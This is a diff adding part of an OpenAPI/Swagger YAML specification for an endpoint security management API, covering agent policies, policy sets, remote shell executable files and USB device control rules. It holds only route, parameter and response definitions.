+  /data/endpoint/Policy/{id}/duplicate/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Policy_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicyName'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_PolicyCopyResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Policy/{id}/engine_revision/:
+    get:
+      description: ""
+      operationId: data_endpoint_Policy_engine_revision
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_RevisionByEngine'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Policy/{id}/fim/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Policy_fim
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_OptionalUUID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Policy/{id}/firewall/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Policy_firewall
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_UUID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Policy/{id}/vulnerability/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Policy_vulnerability
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_UUID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/:
+    get:
+      description: ""
+      operationId: data_endpoint_PolicySet_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: device_control_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: fim_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firewall_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: vulnerability_policy__id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: policy
+          required: false
+          type: string
+        - in: query
+          name: policy.id
+          required: false
+          type: string
+        - in: query
+          name: policy_name
+          required: false
+          type: string
+        - in: query
+          name: fim_policy
+          required: false
+          type: string
+        - in: query
+          name: fim_policy.id
+          required: false
+          type: string
+        - in: query
+          name: fim_policy_name
+          required: false
+          type: string
+        - in: query
+          name: device_control_policy
+          required: false
+          type: string
+        - in: query
+          name: device_control_policy.id
+          required: false
+          type: string
+        - in: query
+          name: device_control_policy_name
+          required: false
+          type: string
+        - in: query
+          name: firewall_policy
+          required: false
+          type: string
+        - in: query
+          name: firewall_policy.id
+          required: false
+          type: string
+        - in: query
+          name: firewall_policy_name
+          required: false
+          type: string
+        - in: query
+          name: antivirus_policy
+          required: false
+          type: string
+        - in: query
+          name: antivirus_policy.id
+          required: false
+          type: string
+        - in: query
+          name: antivirus_policy_name
+          required: false
+          type: string
+        - in: query
+          name: vulnerability_policy
+          required: false
+          type: string
+        - in: query
+          name: vulnerability_policy.id
+          required: false
+          type: string
+        - in: query
+          name: vulnerability_policy_name
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/PolicySet'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_PolicySet_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicySetCreate'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/PolicySetCreate'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_PolicySet_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: device_control_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: fim_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firewall_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: vulnerability_policy__id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/PolicySet/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_PolicySet_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_PolicySet_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PolicySetRetrieve'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_PolicySet_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicySetCreate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PolicySetCreate'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_PolicySet_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicySetCreate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_PolicySetUpdate'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/add_agents/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Add all specified agents to a policy set, using their ID or the ID of a group they are currently in.
+      operationId: data_endpoint_PolicySet_add_agents
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentOrGroupListSimple'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/add_agents_with_csv/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Add a list of agents to a policy set, with a CSV.
+      operationId: data_endpoint_PolicySet_add_agents_with_csv
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicySetRetrieve'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/add_group/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      deprecated: true
+      description: Use add_agents instead, and provide the group's ID.
+      operationId: data_endpoint_PolicySet_add_group
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicySetRetrieve'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/PolicySetRetrieve'
+      summary: Add all agents in the specified groups to a policy set
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/agent/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_PolicySet_agent
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_UpdateChar'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/antivirus/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_PolicySet_antivirus
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_UUID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/custom/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_PolicySet_custom
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_PolicySetCustom'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_PolicySetUpdate'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/delete_agents/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Remove all specified agents from a policy set, using their ID or the ID of a group they are currently in.
+      operationId: data_endpoint_PolicySet_delete_agents
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentOrGroupListSimple'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid input
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/device_control/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_PolicySet_device_control
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_OptionalUUID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/duplicate/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_PolicySet_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicySetName'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_PolicySetCopyResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/fim/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_PolicySet_fim
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_OptionalUUID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/firewall/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_PolicySet_firewall
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_UUID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/PolicySet/{id}/vulnerability/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_PolicySet_vulnerability
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_UUID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/RemoteShellExecutable/:
+    get:
+      description: ""
+      operationId: data_endpoint_RemoteShellExecutable_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: executable_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: creator_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: creator.id
+          required: false
+          type: string
+        - in: query
+          name: creator.username
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/RemoteShellExecutable'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_RemoteShellExecutable_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RemoteShellExecutableUploadRequest'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellExecutable'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellErrorCodeResponse'
+        "500":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellErrorCodeResponse'
+      tags:
+        - agent
+  /data/endpoint/RemoteShellExecutable/{id}/:
+    get:
+      description: ""
+      operationId: data_endpoint_RemoteShellExecutable_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellExecutable'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this remote shell executable.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_RemoteShellExecutable_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RemoteShellExecutableUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellExecutable'
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellExecutable'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/RemoteShellExecutable/{id}/download/:
+    get:
+      description: ""
+      operationId: data_endpoint_RemoteShellExecutable_download
+      parameters: []
+      responses:
+        "200":
+          description: download
+          schema:
+            type: file
+        "500":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellErrorCodeResponse'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this remote shell executable.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/RemoteShellExecutable/{id}/remove/:
+    delete:
+      description: ""
+      operationId: data_endpoint_RemoteShellExecutable_remove
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this remote shell executable.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/device_control/Policy/:
+    get:
+      description: ""
+      operationId: data_endpoint_device_control_Policy_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creator
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: default_action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: security_event_level
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: is_dry_run_mode_enabled
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: usb_rules_count
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: creator.id
+          required: false
+          type: number
+        - in: query
+          name: creator.username
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/DeviceControlPolicy'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_device_control_Policy_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DeviceControlPolicy'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/DeviceControlPolicy'
+      tags:
+        - agent
+  /data/endpoint/device_control/Policy/delete/:
+    delete:
+      description: |-
+        No direct call to the device control policy broadcast logic is done in destroy logic since you cannot delete an in use Device Control Policy
+        and with this broadcast will always be called during the unassingment logic in the agent policy viewset.
+      operationId: data_endpoint_DeviceControlPolicy_delete_list
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UUIDList'
+      responses:
+        "200":
+          description: Succesfull Device Control Policy(ies) deletion
+          examples:
+            - application/json:
+                code: multiple_policy_deleted
+                deleted_policies: 3
+                details: All device control policies deleted (3 device control policy(ies))
+            - application/json:
+                code: multiple_policy_deleted
+                deleted_policies: 2
+                details: Deleted 2 device control policy(ies)
+            - application/json:
+                code: no_policy_deleted
+                details: No device control policy deleted
+          schema:
+            $ref: '#/definitions/_DeviceControlPolicyMassDeleteResponse'
+        "400":
+          description: Error, cannot delete a Device Control Policy used in an Agent Policy
+          examples:
+            application/json:
+              agent_policy:
+                - agent_policy_id: dummy_agent_policy_uuid
+                  agent_policy_name: test_agent_policy_1
+                - agent_policy_id: dummy_agent_policy_uuid
+                  agent_policy_name: test_agent_policy_2
+              code: policy_in_use
+              details: You cannot delete a Device Control Policy used in one or more Agent Policies
+          schema:
+            $ref: '#/definitions/_DeviceControlPolicyInUseResponse'
+        "403":
+          description: Forbidden
+      summary: To delete multiple device control policies.
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/device_control/Policy/{id}/:
+    delete:
+      description: |-
+        No direct call to the device control policy broadcast logic is done in destroy logic since you cannot delete an in use Device Control Policy
+        and with this broadcast will always be called during the unassingment logic in the agent policy viewset.
+      operationId: data_endpoint_device_control_Policy_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "400":
+          description: Error, cannot delete a Device Control Policy used in an Agent Policy
+          examples:
+            - application/json:
+                agent_policy:
+                  - agent_policy_id: UUID
+                    agent_policy_name: test_agent_policy_1
+                  - agent_policy_id: UUID
+                    agent_policy_name: test_agent_policy_1
+                code: policy_in_use
+                details: You cannot delete a Device Control Policy used in one or more Agent Policies
+          schema:
+            $ref: '#/definitions/_DeviceControlPolicyInUseResponse'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DeviceControlCodeDetailsResponse'
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_device_control_Policy_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DeviceControlPolicy'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this device control policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_device_control_Policy_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DeviceControlPolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DeviceControlPolicy'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_device_control_Policy_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DeviceControlPolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DeviceControlPolicy'
+      tags:
+        - agent
+  /data/endpoint/device_control/Policy/{id}/duplicate/:
+    parameters:
+      - description: A UUID string identifying this device control policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_device_control_Policy_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicyName'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCopyResponse'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DeviceControlCodeDetailsResponse'
+        "409":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DeviceControlCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/device_control/Policy/{id}/order_usb_rules/:
+    parameters:
+      - description: A UUID string identifying this device control policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_device_control_Policy_order_usb_rules
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_DeviceControlPolicyUsbRuleOrdering'
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/UsbRule'
+            type: array
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DeviceControlCodeDetailsResponse'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DeviceControlCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/device_control/usb/Rule/:
+    get:
+      description: ""
+      operationId: data_endpoint_device_control_usb_Rule_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: index
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: device_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: policy_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: creator.id
+          required: false
+          type: number
+        - in: query
+          name: creator.username
+          required: false
+          type: string
+        - in: query
+          name: serial_numbers
+          required: false
+          type: string
+        - in: query
+          name: base_classes.base_class
+          required: false
+          type: string
+        - in: query
+          name: vendor_products
+          type: string
+        - in: query
+          name: custom_products
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/UsbRule'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_device_control_usb_Rule_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UsbRule'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/UsbRule'
+      tags:
+        - agent
+  /data/endpoint/device_control/usb/Rule/create_many_rules/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_device_control_usb_Rule_create_many_rules
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BulkCreateUsbRule'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/UsbRule'
+      tags:
+        - agent
+  /data/endpoint/device_control/usb/Rule/delete/:
+    delete:
+      description: To delete multiple device control USB rules.
+      operationId: data_endpoint_DeviceControlUsbRule_delete_list
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UUIDList'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/device_control/usb/Rule/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_device_control_usb_Rule_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_device_control_usb_Rule_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UsbRule'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this usb rule.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_device_control_usb_Rule_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateUsbRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateUsbRule'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_device_control_usb_Rule_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateUsbRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateUsbRule'
+      tags:
+        - agent
